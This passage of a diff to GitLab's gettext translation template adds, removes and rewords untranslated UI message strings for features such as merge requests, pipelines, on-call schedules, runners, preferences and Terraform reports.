+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
